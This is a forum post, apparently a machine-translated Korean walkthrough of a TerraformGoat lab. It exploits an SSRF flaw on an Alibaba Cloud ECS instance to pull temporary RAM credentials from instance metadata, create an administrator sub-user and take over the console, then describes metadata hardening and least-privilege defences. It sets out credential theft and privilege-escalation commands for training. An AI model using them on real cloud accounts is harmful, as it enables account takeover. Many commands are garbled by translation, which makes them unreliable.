KoreanHackerTeam
Moderator
0x00 前言
이 기사는 클라우드 서비스에서 공격적이고 방어적인 방법을 보여주기 위해 Alibaba Cloud를 사용합니다. 먼저 Terraform을 사용하여 ECS SSRF 취약성 환경을 구축 한 다음 단계별로 Cloud Service 계정의 모든 알리바바 클라우드 서비스 권한을 인스턴스에 존재하는 SSRF 취약점을 통해 얻으십시오.0x01 环境搭建
이 기사는 TerraFormGoat를 사용하여 사격장을 구축합니다. TerraformGoat 범위 주소 : https://github.com/huocorp/terraformgoat (Opens New Window)사격장을 배포 할 때는 Alibaba Cloud Accesskey를 사용해야합니다. 클라우드 생산 환경에 영향을 미치지 않기 위해서는 비 생산 환경에서 Accesskey를 사용하고 생산 환경과 동일한 계정을 사용하지 않는 것이 좋습니다.
TerraFormGoat 도구의 반복 업데이트로 인해 다음 환경 구성 방법이 실패했으며 배포 방법이 더 편리하고 친숙합니다. 특정 배포 방법은 위의 TerraFormGoat 사격 범위 주소를 참조하십시오.
다음으로, 우리는 사격장을 구축하고, 먼저 사격장 프로젝트를 지역 지역으로 복제하고, 사격장을 다운로드하는 데 필요한 종속성을 구축하기 시작합니다.
git 클론 https://github.com/huocorp/terraformgoat.git ---depth 1
CD TerraformGoat
도커 빌드. -T Terraformgoat:v0.0.3
Docker Run -ITD-- 이름 TerraFormGoat TerraFormgoat:v0.0.3
Docker exec -it Terraformgoat /bin /bash github 액세스가 느리면 터미널에 프록시를 걸 수 있습니다.
proxy_url='127.0.0.1:1080'내보내기 https_proxy=http://$ proxy_url http_proxy=http://$ proxy_url all_proxy=socks5: //$ proxy_url은 컨테이너를 선택한 후 컨테이너를 선택할 것입니다. 여기에서 Alibaba Cloud Service를 예로 들어 2를 입력하고 Alibaba Cloud를 선택하고 Enter를 누릅니다.

Alibaba Cloud ECS SSRF 촬영 범위 경로를 입력하고 액세스키를 구성하십시오.
CD/TerraFormGoat/Aliyun/ECS/ECS_SSRF/
Aliyun 구성

SSRF 범위를 배포하십시오
Terraform Init
Terraform 적용 초기화가 느리면 프록시를 끊으십시오.
적용 기간 동안 값을 입력 한 다음 yes를 입력하여 입력하십시오.

출력에서 반환 된 범위 주소를 볼 수 있습니다. 이 주소를 방문하면 SSRF 테스트 범위 페이지를 볼 수 있습니다. 이것은 환경이 구축되었음을 의미합니다.

0x02 环境利用
현재 환경에는 SSRF 취약점이 있지만 일반 SSRF가 위치한 환경과 달리 여기에 SSRF 취약점이 클라우드 서버에 나타나 므로이 SSRF 취약성을 통해 서버의 메타 데이터 정보를 얻을 수 있습니다.액세스 메타 데이터
http://100.100.100.200/최신/메타 데이터

반환 된 결과에서 현재 환경에 RAM/디렉토리가 있음을 알 수 있습니다. 즉, 현재 클라우드 서버에 RAM 역할을 구성하여 임시 자격 증명을 얻을 수 있음을 의미합니다.
메타 데이터를 통해 임시 자격 증명을 얻습니다
URL의 huocorp-terraform-goat-lole은 RAM 역할 이름이며, http://100.100.100.200/최신/메타-데이터/RAM/보안 청소치/를 방문하여 얻을 수 있습니다.
http://100.100.100.200/최신/메타-데이터/RAM/보안 간질/huocorp- 골절 -Goat-Role

Aliyun 명령 줄 도구로 임시 자격 증명을 구성하십시오.
Aliyun 구성 -Mode Ststoken

하위 사용자 및 보조금 관리자 권한을 작성하십시오
Aliyun Ram CreateUser -username TeamsSix
Aliyun Ram CreateLoginProfile -username Teamssix --password teamssix@666
Aliyun RAM att
https://signin.aliyun.com (새 창을여십시오) 페이지를 방문하여 RAM 사용자를 통해 로그인하십시오. 여기서 사용자 형식은 username@company-alias입니다. 여기서 사용자 이름은 방금 만든 사용자 이름입니다. 회사-알리아는 다음 명령을 통해 얻을 수 있습니다.
Aliyun Ram GetAccountalias

여기의 계정은 우리가 필요로하는 회사 알리아이며 다음에 콘솔에 로그인 할 수 있습니다.

지금 방금 사용자가 생성되었을 때 비밀번호를 입력하십시오.

로그인 한 후 대상 콘솔을 볼 수 있습니다.

지금 방금 사용자를 생성 할 때 관리자 계정 권한이 부여되었으므로 RAM Access Control Office에서 현재 계정에 모든 알리바바 클라우드 리소스를 관리 할 수있는 권한이 있음을 알 수 있습니다.

Cloud Service ECS 인스턴스에서 방금 구축 한 SSRF 촬영 범위 서버도 볼 수 있습니다.

이 시점에서 클라우드 서버의 SSRF 취약성을 활용하여 Alibaba Cloud Console을 인수하도록 구현되었습니다.
또한이 환경에 플래그 파일도 배치됩니다. 관심이 있으시면이 깃발을 찾을 수 있습니다. 쓰기 주소 : https://github.com/huocorp/terraformgoat/tree/main/aliyun/ecs/ecs_ssrf(opens 새 창)
0x03 防御措施
SSRF 외에도이 환경에는 두 가지 주요 문제가 있습니다.RAM 역할에는 너무 큰 권한이있어서 역할의 권한을 통해 하위 사용자를 생성하고 강화없이 하위 사용자에게 높은 권한을 부여하는 것과 같은 운영 메타 데이터로 이어집니다. 결과적으로 대상에 SSRF가 있거나 대상 권한이 중단되면 메타 데이터가 취득 될 위험이 있습니다. 첫 번째 RAM 역할의 과도한 권한 문제의 경우, 가장 중요한 것은 사용자가 권한을 최소화하는 원칙을 엄격하게 준수한다는 것입니다. RAM 역할에 대한 권한을 부여 할 때는 너무 높은 권한을 부여하지 않고 필요한 권한 만 부여하지 않으므로 영향을 최소화 할 수 있지만 근본 원인을 치료할 수는 없습니다.
두 번째 메타 데이터가 액세스하기 위해 강화되지 않는 문제에 대한 응답으로 인스턴스의 메타 데이터 액세스 모드를 강화 모드로 설정할 수 있습니다. 이것은 기본 솔루션입니다. 메타 데이터 액세스 모드를 경화 모드로 설정하는 두 가지 방법이 있습니다.
인스턴스를 생성 할 때 시스템 구성의 고급 옵션

이미 생성 된 인스턴스에서는 Alibaba Cloud OpenAPI에서 토큰을 사용하여 메타 데이터 강제 액세스를 활성화 할 수 있습니다. OpenApi 주소 : https://next.api.aliyun.com/api/ecs/2014-05-26/modifyinstancemetadataoptions (Opens 새 창)

httptokens를 필수로 설정하면 경화 모드가 강력하게 사용됨을 의미합니다. 현재 메타 데이터에 액세스하면 403이 프롬프트됩니다.

메타 데이터를 Harden 모드로 설정하면 SSRF를 통해 메타 데이터를 얻지 못하게 할 수 있지만 인스턴스 권한이 중단되면 Red Team은 여전히 명령을 실행하여 인스턴스에서 토큰을 가져오고 토큰을 사용하여 메타 데이터를 얻을 수 있습니다.
Linux 인스턴스에서 토큰을 얻는 명령은 다음과 같습니다.
토큰=`curl -x put 'http://100.100.100.100.200/최신/API/토큰'-H 'X-Aliyun-ECS-Metadata-Token-Seconds: 21600'To Ken을 통한 메타 데이터
Curl -H 'X-Aliyun-ECS-Metadata-Token: $ 토큰'http://100.100.100.200/최신/메타-데이터/

Windows 인스턴스에서 얻는 방법은 Alibaba Cloud의 공식 문서를 참조하십시오 : https://help.aliyun.com/document_detail/108460.htm(Opens 새 창).
SSRF 취약점을 방어하기 위해 메타 데이터 액세스 모드를 보강 모드로 설정하는이 방법은 Master 2H0NG가 제공합니다.
0x04 环境删除
생성 된 하위 계정을 삭제합니다Aliyun Ram DetachPolicyfromuser -PolicyType System -Policyname AdministratorAccess-username TeamsSix
Aliyun Ram Deleteuser -username Teamssix는 SSRF 촬영 범위 환경을 삭제합니다. 사격장을 사용한 후 여기에 생성 된 클라우드 서비스는 시간별로 청구 되며이 사격 범위 인스턴스의 가격은 시간당 RMB 0.17이므로 시간이 지남에 따라 삭제해야합니다.
사격장을 파괴하기 전에 Accesskey를 초기 액세스 키로 구성하고 명령을 구성하는 것을 잊지 마십시오. Aliyun 구성 -모드 AK
Terraform Destrofer TerraformGoat를 지우려면 다음 명령을 사용할 수 있습니다. 미래에 클라우드 공격과 방어를 배우려면 TerraformGoat 환경을 유지할 수 있습니다.
Docker 중지 Terraformgoat
Docker RM TerraformGoat
Docker RMI TerraformGoat:V0.0.3
0x05 总结
여기서는 클라우드의 SSRF 취약성을 통해 임시 키가 얻어졌습니다. 관리자 액세스가있는 가입자는 임시 키를 통해 생성되었으며 마지막 으로이 가입자를 통해 대상 콘솔이 인수되었습니다.그러나 실제 전투 에서이 방법을 사용하기위한 전제 조건이 있으며 주요 전제 조건은 다음과 같습니다.
ECS 인스턴스는 RAM 역할을 부여해야하며, 그렇지 않으면 임시 자격 증명에 액세스하는 메타 데이터는 404RAM을 반환합니다. 이 역할은 사용자 생성, 권한 부여 등과 같은 RAM 액세스 제어에 대한 관련 운영 권한이 있어야합니다. 그렇지 않으면 임시 키에는 하위 사용자를 생성 할 수있는 권한이 없습니다. 실제 전투에서 ECS 인스턴스에 RAM 역할이 부여 된 경우 대부분의 경우 역할에 사용자 생성 권한이 없습니다. 현재 하위 계정을 만들어 콘솔에 로그인하는 것은 불가능합니다. Alibaba Cloud Command Line 도구를 통해서만 대상 클라우드 서비스 만 작동 할 수 있습니다.
일반적으로 클라우드 공격과 방어는 여전히 기존의 인트라넷 공격 및 방어와 매우 다릅니다.
클라우드 공격 및 방어의 일반적인 문제는 구성 오류입니다. 예를 들어, 여기서 문제는 RAM 역할 구성 권한이 너무 높다는 것입니다. 클라우드 공격 및 방어에 대한 권한을 유지하는 주요 방법은 전통적인 공격 및 방어에 대한 다양한 권한을 갖지 않고 고급 RAM 사용자를 만드는 것입니다. 클라우드 공격 및 방어의 인트라넷 수평 방향은 주로 클라우드 서비스 제조업체의 명령 라인 또는 콘솔 에서이 클라우드 서비스에서 다른 클라우드 서비스에 이르기까지 전통적인 공격 및 방어와 같은 다양한 인트라넷 수평 방법을 갖지 않고 수평으로 수평으로 이루어집니다. 마지막으로,이 기사에서 언급 된 많은 명령은 Fireline Cloud Security Knowledge Base의 내용을 나타냅니다. 지식 기반 주소는 다음과 같습니다. https://cloudsec.huoxian.cn (새 창을 엽니 다). 지식 기반의 홈페이지에서 Fireline Cloud Service 공격 및 방어 매트릭스를 볼 수 있습니다. 이 기사는이 공격과 방어 매트릭스를 기반으로 한 클라우드 공격 및 방어입니다.

더 많은 클라우드 보안 리소스를 찾으려면 학습 할 수있는 클라우드 보안 프로젝트를 방문 할 수 있습니다. 현재 수백 개가 넘는 국내 및 외국 클라우드 보안 블로그, 도구, 공식 계정 및 기타 리소스가 포함 된 Awesome Cloud Security Project를 방문 할 수 있습니다. 프로젝트 주소는 다음과 같습니다.

참조 기사 : https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs
원래 연결 : https://wiki.teamssix.com/cloudservice/ec2/aliyun-console-takeover.html